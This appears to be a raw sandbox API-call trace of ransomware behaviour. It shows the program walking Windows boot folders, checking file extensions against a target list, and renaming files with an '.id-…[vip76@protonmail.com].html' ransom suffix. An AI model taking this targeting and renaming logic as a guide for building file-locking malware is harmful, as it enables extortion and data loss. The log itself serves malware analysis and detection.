	[0167.584] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20
	[0167.584] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.584] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0167.584] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26
	[0167.584] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26
	[0167.584] lstrlenW (lpString=".doc") returned 4
	[0167.584] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0167.584] lstrlenW (lpString=".docx") returned 5
	[0167.584] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0167.584] lstrlenW (lpString=".pdf") returned 4
	[0167.584] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0167.584] lstrlenW (lpString=".xls") returned 4
	[0167.584] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0167.584] lstrlenW (lpString=".xlsx") returned 5
	[0167.584] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0167.584] lstrlenW (lpString=".ppt") returned 4
	[0167.584] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0167.584] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26
	[0167.584] lstrlenW (lpString=".zip") returned 4
	[0167.585] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0167.585] lstrlenW (lpString=".rar") returned 4
	[0167.585] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0167.585] lstrlenW (lpString=".bz2") returned 4
	[0167.585] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0167.585] lstrlenW (lpString=".7z") returned 3
	[0167.585] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0167.585] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26
	[0167.585] lstrlenW (lpString=".dbf") returned 4
	[0167.585] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0167.585] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26
	[0167.585] lstrlenW (lpString=".1cd") returned 4
	[0167.585] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0167.585] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26
	[0167.585] lstrlenW (lpString=".jpg") returned 4
	[0167.585] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0167.585] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26
	[0167.585] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26
	[0167.585] lstrlenW (lpString=".doc") returned 4
	[0167.585] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0167.585] lstrlenW (lpString=".docx") returned 5
	[0167.585] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0167.585] lstrlenW (lpString=".pdf") returned 4
	[0167.585] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0167.585] lstrlenW (lpString=".xls") returned 4
	[0167.585] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0167.585] lstrlenW (lpString=".xlsx") returned 5
	[0167.586] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0167.586] lstrlenW (lpString=".ppt") returned 4
	[0167.586] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0167.586] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26
	[0167.586] lstrlenW (lpString=".zip") returned 4
	[0167.586] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0167.586] lstrlenW (lpString=".rar") returned 4
	[0167.586] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0167.586] lstrlenW (lpString=".bz2") returned 4
	[0167.586] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0167.586] lstrlenW (lpString=".7z") returned 3
	[0167.586] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0167.586] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26
	[0167.586] lstrlenW (lpString=".dbf") returned 4
	[0167.586] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0167.586] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26
	[0167.586] lstrlenW (lpString=".1cd") returned 4
	[0167.586] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0167.586] lstrlenW (lpString="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26
	[0167.586] lstrlenW (lpString=".jpg") returned 4
	[0167.586] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0167.586] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0167.586] lstrlenW (lpString="cht_boot.ttf") returned 12
	[0167.587] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0167.588] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=3878410) returned 1
	[0167.588] CloseHandle (hObject=0x428) returned 1
	[0167.588] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20
	[0167.588] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.588] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0167.589] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26
	[0167.589] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26
	[0167.589] lstrlenW (lpString=".doc") returned 4
	[0167.589] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0167.589] lstrlenW (lpString=".docx") returned 5
	[0167.589] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0167.589] lstrlenW (lpString=".pdf") returned 4
	[0167.589] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0167.589] lstrlenW (lpString=".xls") returned 4
	[0167.589] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0167.589] lstrlenW (lpString=".xlsx") returned 5
	[0167.589] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0167.589] lstrlenW (lpString=".ppt") returned 4
	[0167.589] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0167.589] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26
	[0167.589] lstrlenW (lpString=".zip") returned 4
	[0167.589] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0167.589] lstrlenW (lpString=".rar") returned 4
	[0167.589] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0167.589] lstrlenW (lpString=".bz2") returned 4
	[0167.589] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0167.589] lstrlenW (lpString=".7z") returned 3
	[0167.589] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0167.589] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26
	[0167.589] lstrlenW (lpString=".dbf") returned 4
	[0167.589] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0167.589] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26
	[0167.589] lstrlenW (lpString=".1cd") returned 4
	[0167.589] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0167.589] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26
	[0167.589] lstrlenW (lpString=".jpg") returned 4
	[0167.589] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0167.590] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26
	[0167.590] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26
	[0167.590] lstrlenW (lpString=".doc") returned 4
	[0167.590] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0167.590] lstrlenW (lpString=".docx") returned 5
	[0167.590] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0167.590] lstrlenW (lpString=".pdf") returned 4
	[0167.590] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0167.590] lstrlenW (lpString=".xls") returned 4
	[0167.590] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0167.590] lstrlenW (lpString=".xlsx") returned 5
	[0167.590] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0167.590] lstrlenW (lpString=".ppt") returned 4
	[0167.590] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0167.590] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26
	[0167.590] lstrlenW (lpString=".zip") returned 4
	[0167.590] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0167.590] lstrlenW (lpString=".rar") returned 4
	[0167.590] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0167.590] lstrlenW (lpString=".bz2") returned 4
	[0167.590] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0167.590] lstrlenW (lpString=".7z") returned 3
	[0167.590] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0167.590] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26
	[0167.590] lstrlenW (lpString=".dbf") returned 4
	[0167.590] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0167.590] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26
	[0167.590] lstrlenW (lpString=".1cd") returned 4
	[0167.590] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0167.590] lstrlenW (lpString="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26
	[0167.590] lstrlenW (lpString=".jpg") returned 4
	[0167.590] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0167.591] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0167.591] lstrlenW (lpString="jpn_boot.ttf") returned 12
	[0167.591] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0167.593] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=1985867) returned 1
	[0167.593] CloseHandle (hObject=0x428) returned 1
	[0167.593] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20
	[0167.593] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.594] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0167.594] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0167.594] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0167.594] lstrlenW (lpString=".doc") returned 4
	[0167.594] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0167.594] lstrlenW (lpString=".docx") returned 5
	[0167.594] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0167.594] lstrlenW (lpString=".pdf") returned 4
	[0167.594] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0167.594] lstrlenW (lpString=".xls") returned 4
	[0167.594] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0167.594] lstrlenW (lpString=".xlsx") returned 5
	[0167.594] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0167.594] lstrlenW (lpString=".ppt") returned 4
	[0167.594] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0167.594] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0167.594] lstrlenW (lpString=".zip") returned 4
	[0167.594] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0167.594] lstrlenW (lpString=".rar") returned 4
	[0167.594] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0167.594] lstrlenW (lpString=".bz2") returned 4
	[0167.594] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0167.594] lstrlenW (lpString=".7z") returned 3
	[0167.594] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0167.594] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0167.594] lstrlenW (lpString=".dbf") returned 4
	[0167.594] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0167.594] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0167.595] lstrlenW (lpString=".1cd") returned 4
	[0167.595] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0167.595] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0167.595] lstrlenW (lpString=".jpg") returned 4
	[0167.595] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0167.595] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0167.595] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0167.595] lstrlenW (lpString=".doc") returned 4
	[0167.595] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0167.595] lstrlenW (lpString=".docx") returned 5
	[0167.595] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0167.595] lstrlenW (lpString=".pdf") returned 4
	[0167.595] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0167.595] lstrlenW (lpString=".xls") returned 4
	[0167.595] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0167.595] lstrlenW (lpString=".xlsx") returned 5
	[0167.595] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0167.595] lstrlenW (lpString=".ppt") returned 4
	[0167.595] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0167.595] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0167.595] lstrlenW (lpString=".zip") returned 4
	[0167.595] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0167.595] lstrlenW (lpString=".rar") returned 4
	[0167.595] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0167.595] lstrlenW (lpString=".bz2") returned 4
	[0167.595] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0167.595] lstrlenW (lpString=".7z") returned 3
	[0167.595] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0167.595] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0167.595] lstrlenW (lpString=".dbf") returned 4
	[0167.595] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0167.595] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0167.595] lstrlenW (lpString=".1cd") returned 4
	[0167.596] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0167.596] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0167.596] lstrlenW (lpString=".jpg") returned 4
	[0167.596] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0167.596] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0167.596] lstrlenW (lpString="kor_boot.ttf") returned 12
	[0167.596] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0167.597] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=2373000) returned 1
	[0167.597] CloseHandle (hObject=0x428) returned 1
	[0167.597] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20
	[0167.598] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.598] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0167.598] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0167.598] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0167.598] lstrlenW (lpString=".doc") returned 4
	[0167.598] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0167.598] lstrlenW (lpString=".docx") returned 5
	[0167.598] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0167.598] lstrlenW (lpString=".pdf") returned 4
	[0167.598] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0167.598] lstrlenW (lpString=".xls") returned 4
	[0167.598] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0167.598] lstrlenW (lpString=".xlsx") returned 5
	[0167.598] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0167.598] lstrlenW (lpString=".ppt") returned 4
	[0167.598] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0167.598] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0167.598] lstrlenW (lpString=".zip") returned 4
	[0167.598] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0167.598] lstrlenW (lpString=".rar") returned 4
	[0167.598] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0167.598] lstrlenW (lpString=".bz2") returned 4
	[0167.598] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0167.598] lstrlenW (lpString=".7z") returned 3
	[0167.598] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0167.598] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26
	[0167.599] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0167.599] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0167.600] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=174959) returned 1
	[0167.600] CloseHandle (hObject=0x428) returned 1
	[0167.600] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf")) returned 0x20
	[0167.600] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.600] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.601] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0167.601] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0167.603] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=177414) returned 1
	[0167.603] CloseHandle (hObject=0x428) returned 1
	[0167.603] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf")) returned 0x20
	[0167.603] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.603] CreateFileW (lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.604] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0167.604] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0167.606] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=143754) returned 1
	[0167.606] CloseHandle (hObject=0x428) returned 1
	[0167.606] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf")) returned 0x20
	[0167.606] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.606] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.606] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0167.606] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0167.775] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=145419) returned 1
	[0167.775] CloseHandle (hObject=0x474) returned 1
	[0167.775] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf")) returned 0x20
	[0167.775] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.776] CreateFileW (lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.776] Sleep (dwMilliseconds=0x64) 
	[0168.041] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0168.060] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0168.060] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0168.060] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=78688) returned 1
	[0168.060] CloseHandle (hObject=0x434) returned 1
	[0168.060] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20
	[0168.061] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.061] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.061] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29
	[0168.061] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29
	[0168.061] lstrlenW (lpString=".doc") returned 4
	[0168.061] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0168.061] lstrlenW (lpString=".docx") returned 5
	[0168.061] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0168.061] lstrlenW (lpString=".pdf") returned 4
	[0168.061] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0168.061] lstrlenW (lpString=".xls") returned 4
	[0168.061] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0168.061] lstrlenW (lpString=".xlsx") returned 5
	[0168.061] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0168.061] lstrlenW (lpString=".ppt") returned 4
	[0168.061] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0168.061] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29
	[0168.061] lstrlenW (lpString=".zip") returned 4
	[0168.061] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0168.061] lstrlenW (lpString=".rar") returned 4
	[0168.061] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0168.061] lstrlenW (lpString=".bz2") returned 4
	[0168.061] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0168.061] lstrlenW (lpString=".7z") returned 3
	[0168.061] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
